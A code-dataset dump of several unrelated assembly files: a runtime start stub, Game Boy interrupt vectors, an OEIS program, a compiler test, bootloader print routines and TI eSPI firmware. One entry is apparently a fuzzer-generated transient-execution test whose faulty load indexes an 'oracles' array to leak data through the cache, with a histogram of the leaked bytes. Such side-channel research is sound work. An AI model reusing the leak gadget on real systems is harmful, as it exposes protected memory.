hexsha
stringlengths 40
40
| size
int64 6
1.05M
| ext
stringclasses 3
values | lang
stringclasses 1
value | max_stars_repo_path
stringlengths 4
232
| max_stars_repo_name
stringlengths 7
106
| max_stars_repo_head_hexsha
stringlengths 40
40
| max_stars_repo_licenses
listlengths 1
7
| max_stars_count
int64 1
33.5k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 4
232
| max_issues_repo_name
stringlengths 7
106
| max_issues_repo_head_hexsha
stringlengths 40
40
| max_issues_repo_licenses
listlengths 1
7
| max_issues_count
int64 1
37.5k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 4
232
| max_forks_repo_name
stringlengths 7
106
| max_forks_repo_head_hexsha
stringlengths 40
40
| max_forks_repo_licenses
listlengths 1
7
| max_forks_count
int64 1
12.6k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 6
1.05M
| avg_line_length
float64 1.16
19.7k
| max_line_length
int64 2
938k
| alphanum_fraction
float64 0
1
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6477ecba2d5072e26f284b32ec59fa415d283fb2
| 220
|
asm
|
Assembly
|
src/programs/stdlib/crt0.asm
|
yotam5/SmollOs
|
afa4471295ae885ed0fc7f045405d722c424f63a
|
[
"MIT"
] | null | null | null |
src/programs/stdlib/crt0.asm
|
yotam5/SmollOs
|
afa4471295ae885ed0fc7f045405d722c424f63a
|
[
"MIT"
] | null | null | null |
src/programs/stdlib/crt0.asm
|
yotam5/SmollOs
|
afa4471295ae885ed0fc7f045405d722c424f63a
|
[
"MIT"
] | null | null | null |
[BITS 32]
section .asm
global _start
extern c_start
extern smollos_exit
extern _fini
extern _init
_start:
push esi
push edi
call _init
pop edi
pop esi
call c_start
call smollos_exit
ret
| 11.578947
| 21
| 0.690909
|
abc8b637e4df2ef81d965d559c54428200c5563f
| 397
|
asm
|
Assembly
|
src/interrupts.asm
|
JL2210/ramdump
|
17629ccb4604a356e80ffedda445ddd95da68638
|
[
"MIT"
] | null | null | null |
src/interrupts.asm
|
JL2210/ramdump
|
17629ccb4604a356e80ffedda445ddd95da68638
|
[
"MIT"
] | null | null | null |
src/interrupts.asm
|
JL2210/ramdump
|
17629ccb4604a356e80ffedda445ddd95da68638
|
[
"MIT"
] | null | null | null |
; Copyright 2020 James Larrowe
;
; This file is part of RAMDump.
;
; RAMDump is licensed under the MIT license; for more details,
; see the file LICENSE in the root of this repository.
INCLUDE "addrs.inc"
SECTION "interrupts", ROM0[$0040]
vblank:
reti
ds 8 - (@ - vblank)
lcd_stat:
reti
ds 8 - (@ - lcd_stat)
timer:
reti
ds 8 - (@ - timer)
serial:
reti
ds 8 - (@ - serial)
joypad:
reti
| 15.88
| 62
| 0.672544
|
aaf4f30d31b8aa39dfd0e3830ff7c57112d75721
| 8,591
|
asm
|
Assembly
|
Transynther/x86/_processed/NC/_zr_un_/i9-9900K_12_0xca.log_21829_1604.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NC/_zr_un_/i9-9900K_12_0xca.log_21829_1604.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NC/_zr_un_/i9-9900K_12_0xca.log_21829_1604.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r14
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xb42c, %r13
sub $31691, %r10
mov (%r13), %r12w
nop
nop
nop
nop
nop
xor %rax, %rax
lea addresses_WC_ht+0x6d50, %rax
nop
nop
inc %r14
mov $0x6162636465666768, %r13
movq %r13, %xmm0
movups %xmm0, (%rax)
nop
and $57705, %r14
lea addresses_D_ht+0x236c, %rsi
lea addresses_WT_ht+0x106ec, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
sub $29162, %r10
mov $33, %rcx
rep movsw
nop
nop
nop
cmp %r14, %r14
lea addresses_WT_ht+0xfd2c, %rax
nop
nop
nop
add $12197, %r10
movl $0x61626364, (%rax)
nop
nop
nop
xor $31001, %rsi
lea addresses_D_ht+0x7a6c, %r13
nop
and $59471, %rax
mov $0x6162636465666768, %r12
movq %r12, %xmm4
vmovups %ymm4, (%r13)
inc %rsi
lea addresses_UC_ht+0x1e6ab, %rax
nop
dec %r10
movb $0x61, (%rax)
nop
nop
nop
sub $3342, %r14
lea addresses_D_ht+0x2b6c, %rsi
lea addresses_A_ht+0x1686c, %rdi
inc %r13
mov $31, %rcx
rep movsq
nop
nop
nop
nop
sub %r10, %r10
lea addresses_WC_ht+0x1b96c, %r13
nop
nop
and $3737, %r12
movb (%r13), %r14b
nop
nop
nop
cmp $51046, %rax
lea addresses_WC_ht+0x11f6c, %rsi
lea addresses_A_ht+0x12d6c, %rdi
clflush (%rdi)
nop
sub %rax, %rax
mov $71, %rcx
rep movsl
nop
nop
nop
nop
nop
add %r12, %r12
lea addresses_WT_ht+0x9b6c, %r12
nop
xor %r10, %r10
movups (%r12), %xmm4
vpextrq $0, %xmm4, %rcx
add %r10, %r10
lea addresses_WC_ht+0x1dad0, %rsi
lea addresses_D_ht+0x2f6c, %rdi
clflush (%rdi)
nop
and $32689, %r12
mov $118, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_D_ht+0x8d50, %rsi
lea addresses_D_ht+0xe3ec, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
cmp $3856, %rax
mov $38, %rcx
rep movsw
nop
nop
nop
dec %rax
lea addresses_normal_ht+0x476c, %r13
nop
nop
and $62411, %rsi
mov (%r13), %r12
nop
nop
nop
nop
nop
xor %r10, %r10
lea addresses_WC_ht+0x27a0, %rsi
lea addresses_normal_ht+0x1bb10, %rdi
and $5515, %r10
mov $95, %rcx
rep movsw
nop
nop
nop
nop
inc %rdi
lea addresses_normal_ht+0x13a87, %r10
nop
nop
nop
and %r14, %r14
mov (%r10), %esi
nop
nop
nop
nop
nop
xor %r12, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
mov $0x36c, %rsi
mov $0x50eaa000000076c, %rdi
nop
nop
inc %r11
mov $8, %rcx
rep movsw
nop
nop
sub $22731, %r11
// Store
lea addresses_D+0x989c, %r13
nop
nop
nop
nop
nop
cmp $9445, %r14
movw $0x5152, (%r13)
nop
nop
sub %rdi, %rdi
// Store
lea addresses_A+0x1306c, %rdi
nop
nop
nop
and %rdx, %rdx
movl $0x51525354, (%rdi)
dec %r11
// Faulty Load
mov $0x50eaa000000076c, %r13
sub %r14, %r14
movups (%r13), %xmm6
vpextrq $0, %xmm6, %rdi
lea oracles, %r11
and $0xff, %rdi
shlq $12, %rdi
mov (%r11,%rdi,1), %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_P', 'congruent': 10}, 'dst': {'same': True, 'type': 'addresses_NC', 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': True, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 8}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 2, 'NT': True, 'type': 'addresses_D_ht', 'same': True, 'AVXalign': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 7}, 'dst': {'same': True, 'type': 'addresses_A_ht', 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 2}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'00': 4098, '5f': 17731}
00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 00 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 00 5f 5f 5f 00 00 00 00 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 00 00 00 00 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 00 5f 5f 5f 00 00 5f 00 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 00 00 5f 5f 5f 00 00 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 00 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 00 00 00 5f 5f 5f 5f 00 00 00 5f 00 5f 5f 00 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 00 00 00 5f 5f 5f 5f 5f 5f 5f 5f 00 00 5f 5f 00 5f 5f 5f 00 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 00 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 00 5f 5f 5f 00 00 5f 5f 00 00 5f 5f 5f 5f 00 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 00 5f 00 00 5f 00 00 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 00 00 00 5f 5f 5f 00 5f 5f 00 5f 5f 00 5f 5f 00 5f 5f 00 5f 00 00 5f 00 00 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 00 00 5f 5f 5f 00 00 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 00 5f 00 00 5f 5f 5f 5f 5f 5f 00 5f 5f 00 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 00 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 00 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 00 5f 5f 00 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 00 00 5f 5f 00 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 00 5f 00 00 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 00 5f 5f 00 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 00 00 5f 00 5f 00 00 00 00 5f 00 5f 5f 5f 00 5f 5f 5f 5f 5f 00 00 5f 5f 5f 5f 5f 5f 00 5f 00 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 00 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 00 5f 00 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 00 5f 5f 5f 00 00 00 00 00 5f 5f 5f 5f 5f 00 00 00 5f 5f 5f 5f 00 00 00 5f 00 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 00 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 00 5f 00 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 00 5f 5f 5f 5f 00 00 5f 5f 5f 5f 5f 5f 5f 00 00 5f 00 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 00 00 00 5f 5f 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 00 00 5f 5f 5f 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 00 00 5f 5f 5f 5f 5f 5f 00 5f 00 5f 5f 5f 5f 5f 00 00 5f 5f 00 5f 5f 5f 5f 5f 00 5f 5f 5f 5f 5f 00 00 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f
*/
| 32.05597
| 2,999
| 0.655104
|
8f288d0e8fbe24d033171a04622315c5cbfa9450
| 2,029
|
asm
|
Assembly
|
programs/oeis/135/A135466.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/135/A135466.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/135/A135466.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A135466: a(n) = (2*n-8)^2 * 2^(n-3).
; 8,9,8,4,0,16,128,576,2048,6400,18432,50176,131072,331776,819200,1982464,4718592,11075584,25690112,58982400,134217728,303038464,679477248,1514143744,3355443200,7398752256,16240345088,35500589056,77309411328,167772160000,362924736512,782757789696,1683627180032,3612067495936,7730941132800,16509854285824,35184372088832,74835510165504,158879430213632,336725436006400,712483534798848,1505231418425344,3175389581017088,6689428743389184,14073748835532800,29572464740663296,62065232364699648,130111807984500736,272467777455915008,569986827839078400,1191202101439496192,2487112894215356416,5188146770730811392,10813142705316560896,22517998136852480000,46855450523162640384,97421867139278569472,202409781652539572224,420239888429195722752,871896887858928025600,1807780919223536058368,3745841968467645825024,7756855882994866454528,16053279030145737293824,33204139332677192908800,68640334698273241563136,141818568438679032823808,292860508914212841455616,604462909807314587353088,1246999899382765689241600,2571328549922521818857472,5299675785400459341070336,10918111308394619734065152,22483186824942380862406656,46279191532122523094220800,95221797760583526088966144,195845982777569926302400512,402647855795397429500575744,827509723526213670086377472,1700051933833072276930560000,3491377767047049056551436288,7167721184495136376832917504,14710209373070807797824749568,30179624160859602717364977664,61897001964269013744956211200,126908196839865312243955531776,260122150754840530263178477568,533010558164811544611254173696,1091863114649705402461027565568,2236029195959218121536543129600,4577902265277336256576961380352,9369968157351043300711471251456,19173215328451969697637635981312,39222892204717988629903851913216,80218514545692641813463249715200,164022103445155744903034363183104,335293583760366676695877997821952,685244377585872255846561626456064,1400120087952079373953108690337792,2860136666764942587126936607129600
mov $1,$0
sub $0,4
pow $0,2
add $1,3
lpb $1
mul $0,2
sub $1,1
lpe
div $0,16
| 156.076923
| 1,908
| 0.919665
|
0a510fd8b5fabe32575c505014885bd3993d958b
| 830
|
asm
|
Assembly
|
src/test/ref/strength-reduction-1.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | 2
|
2022-03-01T02:21:14.000Z
|
2022-03-01T04:33:35.000Z
|
src/test/ref/strength-reduction-1.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
src/test/ref/strength-reduction-1.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
// Test loop invariant computation detection
// http://www.cs.toronto.edu/~pekhimenko/courses/cscd70-w18/docs/Lecture%205%20[LICM%20and%20Strength%20Reduction]%2002.08.2018.pdf
// Commodore 64 PRG executable file
.file [name="strength-reduction-1.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(main)
.label SCREEN = $400
.segment Code
main: {
// char x = *SCREEN
ldx SCREEN
ldy #0
__b1:
// for(char c=0;c<40;c++)
cpy #$28
bcc __b2
// }
rts
__b2:
// x+5
txa
clc
adc #5
// SCREEN[c] = x+5
// x+5 is a loop invariant computation
sta SCREEN,y
// for(char c=0;c<40;c++)
iny
jmp __b1
}
| 23.714286
| 131
| 0.640964
|
03f8eeb8e4d1427d7219e7f59428c93072045c90
| 1,969
|
asm
|
Assembly
|
boot/printing.asm
|
prithivi-maruthachalam/PrOS
|
a85e9883c054b00fb3d36fcad3d4d2fe5befa6e8
|
[
"MIT"
] | 1
|
2020-07-17T04:58:20.000Z
|
2020-07-17T04:58:20.000Z
|
boot/printing.asm
|
prythagoras/PrOS
|
a85e9883c054b00fb3d36fcad3d4d2fe5befa6e8
|
[
"MIT"
] | null | null | null |
boot/printing.asm
|
prythagoras/PrOS
|
a85e9883c054b00fb3d36fcad3d4d2fe5befa6e8
|
[
"MIT"
] | null | null | null |
print_string:
;parameter: bx
pusha
;while(string[i] != 0){print string[i]; i++}
start:
mov al, [bx]; 'bx is the address of the first position of the string'
cmp al, 0 ;check if string[i] is equal to 0
je done ;jump to end if they're equal
mov ah, 0x0e ;set to TTY mode
int 0x10 ;call the interrupt to print
add bx, 1 ;adding one byte to the address pointer
jmp start
done:
popa
ret
print_newline:
pusha
mov ah, 0x0e ;set to TTY mode
mov al, 0x0a ;set to newline character
int 0x10 ;cal the interrupt to print
mov al, 0x0d ;set to carriage return
int 0x10
popa
ret
print_hex_data:
;parameter: dx
pusha
mov cx, 0 ;the index
hex_loop:
cmp cx,4 ;loop condition
je end ;if they're equal, jump to end
mov ax,dx ;using ax as the register to work on
and ax,0x000f ;use this as a mask to get the last 4 bits alone
add al,0x30 ;adding 30 to the value to convert into into the value's ASCII code
cmp al,0x39 ;check if the value is greater than 9, i.e A-F
jle step2 ;if it is not, we move to step2
add al,7 ;Adding 7 gets us to the ASCII codes for letters i.e 65-
step2:
mov bx,HEX_OUT + 5 ;base location + length - so that we can iterate from the end
sub bx,cx ;subtract the index so that we can put it in the position before the previous one
mov [bx], al ;copy the ASCII code in 'al' into the parameter for printing
ror dx,4 ;to move the last part to dx to the first so that we can access the next one from the end
add cx,1; ;increment the index
jmp hex_loop
end:
mov bx,HEX_OUT ;put the final string in the print_string parameter
call print_string
popa
ret
HEX_OUT:
db '0x0000',0 ;the empty string - reserved memory space
| 27.732394
| 110
| 0.611986
|
0995f05db67f6984c0c852a35010d4a5302ce556
| 7,193
|
asm
|
Assembly
|
lib/am335x_sdk/ti/drv/spi/firmware/icss_espi/src/pru_x/eSPI_global_states.asm
|
brandonbraun653/Apollo
|
a1ece2cc3f1d3dae48fdf8fe94f0bbb59d405fce
|
[
"MIT"
] | 2
|
2021-12-27T10:19:01.000Z
|
2022-03-15T07:09:06.000Z
|
lib/am335x_sdk/ti/drv/spi/firmware/icss_espi/src/pru_x/eSPI_global_states.asm
|
brandonbraun653/Apollo
|
a1ece2cc3f1d3dae48fdf8fe94f0bbb59d405fce
|
[
"MIT"
] | null | null | null |
lib/am335x_sdk/ti/drv/spi/firmware/icss_espi/src/pru_x/eSPI_global_states.asm
|
brandonbraun653/Apollo
|
a1ece2cc3f1d3dae48fdf8fe94f0bbb59d405fce
|
[
"MIT"
] | null | null | null |
;
; TEXAS INSTRUMENTS TEXT FILE LICENSE
;
; Copyright (c) 2018 Texas Instruments Incorporated
;
; All rights reserved not granted herein.
;
; Limited License.
;
; Texas Instruments Incorporated grants a world-wide, royalty-free, non-exclusive
; license under copyrights and patents it now or hereafter owns or controls to
; make, have made, use, import, offer to sell and sell ("Utilize") this software
; subject to the terms herein. With respect to the foregoing patent license,
; such license is granted solely to the extent that any such patent is necessary
; to Utilize the software alone. The patent license shall not apply to any
; combinations which include this software, other than combinations with devices
; manufactured by or for TI ("TI Devices"). No hardware patent is licensed hereunder.
;
; Redistributions must preserve existing copyright notices and reproduce this license
; (including the above copyright notice and the disclaimer and (if applicable) source
; code license limitations below) in the documentation and/or other materials provided
; with the distribution.
;
; Redistribution and use in binary form, without modification, are permitted provided
; that the following conditions are met:
; No reverse engineering, decompilation, or disassembly of this software is
; permitted with respect to any software provided in binary form.
; Any redistribution and use are licensed by TI for use only with TI Devices.
; Nothing shall obligate TI to provide you with source code for the software
; licensed and provided to you in object code.
;
; If software source code is provided to you, modification and redistribution of the
; source code are permitted provided that the following conditions are met:
; Any redistribution and use of the source code, including any resulting derivative
; works, are licensed by TI for use only with TI Devices.
; Any redistribution and use of any object code compiled from the source code
; and any resulting derivative works, are licensed by TI for use only with TI Devices.
;
; Neither the name of Texas Instruments Incorporated nor the names of its suppliers
; may be used to endorse or promote products derived from this software without
; specific prior written permission.
;
; DISCLAIMER.
;
; THIS SOFTWARE IS PROVIDED BY TI AND TI'S LICENSORS "AS IS" AND ANY EXPRESS OR IMPLIED
; WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
; AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL TI AND TI'S
; LICENSORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
; GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
; EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;
; file: eSPI_single_mode.asm
;
; brief: This files contains the bitbang states for Single Mode
;
;
; (C) Copyright 2018, Texas Instruments, Inc
;
;;; INCLUDES ;;;
.include "icss_defines.h"
.include "eSPI_bitbang.h"
.include "icss_ctrl_regs.h"
.include "eSPI_state_table.h"
.include "eSPI_pru_x_defines.h"
;;; GLOBAL DEFINES ;;;
.global PRU_X_START
.global ERROR_CS_DEASSERT
.global RESET_STATE
.global READY_STATE
.global END_STATE
.global main
.sect ".text:PRU_X_START"
;-------------------------------------------------------------------
; Subroutine: START_STATE
; Description: Wait for CS to assert (active low) and set things up
;-------------------------------------------------------------------
PRU_X_START:
RESET_STATE:
;; Clear all registers
ZERO &R0, 124
;; Initialize local registers
INIT_STATE_TABLE
LDI32 r_SlaveRegistersBase, g_SharedMemoryBaseAddr
;; PRU-CC is in charge of initializing everything, and will initialize STS last
LDI32 r_Temp0, g_DefaultStatusRegVal
pru_cc_handshake:
LBBO &r_CurrStatusReg, r_SlaveRegistersBase, STATUS_REGISTER_BASE, 4
QBNE pru_cc_handshake, r_CurrStatusReg, r_Temp0
;; Status register ready
MOV r_StatusReg, r_CurrStatusReg
XOUT BANK0, &r_StatusReg, 4
;; Set up GPO defaults
ZERO &R30, 4
SET R30, R30, g_AlertPin ; Alert active LOW
SET R30, R30, g_EnPin ; EN active LOW
MOV r_GpoDefault, R30
;; Set up Dual Mode clear mask
LDI32 r_DualClearMask, g_DualClearMask_inv ; Logical not (~) isn't supported by pre-proc
NOT r_DualClearMask, r_DualClearMask
;; Set up Quad Mode clear mask
LDI32 r_QuadClearMask, g_QuadClearMask_inv ; Logical not (~) isn't supported by pre-proc
NOT r_QuadClearMask, r_QuadClearMask
;; Set up Dual Mode data mask
LDI32 r_DualDataMask, g_DualDataMask
;; Set up Quad data mask
LDI32 r_QuadDataMask, g_QuadDataMask
JMP READY_STATE
;-------------------------------------------------------------------
; Subroutine: READY_STATE
; Description: Wait for PRU-CC to give the signal to head to the next state
;-------------------------------------------------------------------
.sect ".text:ready_state"
READY_STATE:
;; Reset GPO
MOV R30, r_GpoDefault
;; Read Status register update from PRU-CC (just in case things changed)
XIN BANK0, &r_StatusReg, 4
;; Reset IPC registers
ZERO &r_Data, 8
XOUT BANK0, &r_Data, 8
cs_wait_loop:
;; ALERT if status register changed
LBBO &r_CurrStatusReg, r_SlaveRegistersBase, 0x18, 4
QBNE ALERT_STATE, r_CurrStatusReg, r_StatusReg
;; Check CS assertion
QBBS cs_wait_loop, R31, g_CsPin
;; CS asserted, jump to next state
XIN BANK0, &r_NextState, 4
JMP_TO_STATE r_NextState
;-------------------------------------------------------------------
; Subroutine: ALERT_STATE
; Description: Update the status register and raise the alert pin
;-------------------------------------------------------------------
.sect ".text:alert_state"
ALERT_STATE:
;; Update Status register
MOV r_StatusReg, r_CurrStatusReg
XOUT BANK0, &r_StatusReg, 4
;; Assert ALERT# pin
CLR R30, R30, g_AlertPin
;; Wait for CS#
alert_wait_for_cs_assert:
QBBS alert_wait_for_cs_assert, R31, g_CsPin
;; Can now de-assert ALERT
SET R30, R30, g_AlertPin
;; CS asserted, jump to next state
XIN BANK0, &r_NextState, 4
JMP_TO_STATE r_NextState
;-------------------------------------------------------------------
; Subroutine: END_STATE
; Description: Chill here until CS is not asserted (active low)
;-------------------------------------------------------------------
.sect ".text:end_state"
END_STATE:
check_CS_deassertion:
QBBC check_CS_deassertion, R31, g_CsPin
SET r_Flags, r_Flags, ICSS_ESPI_CS_DEASSERT_GOOD_FLAG_BIT
XOUT BANK0, &r_Flags, 4
JMP READY_STATE
;-------------------------------------------------------------------
; Subroutine: ERROR_CS_DEASSERT
; Description: CS has been improperly de-asserted, alert PRU-CC
;-------------------------------------------------------------------
ERROR_CS_DEASSERT:
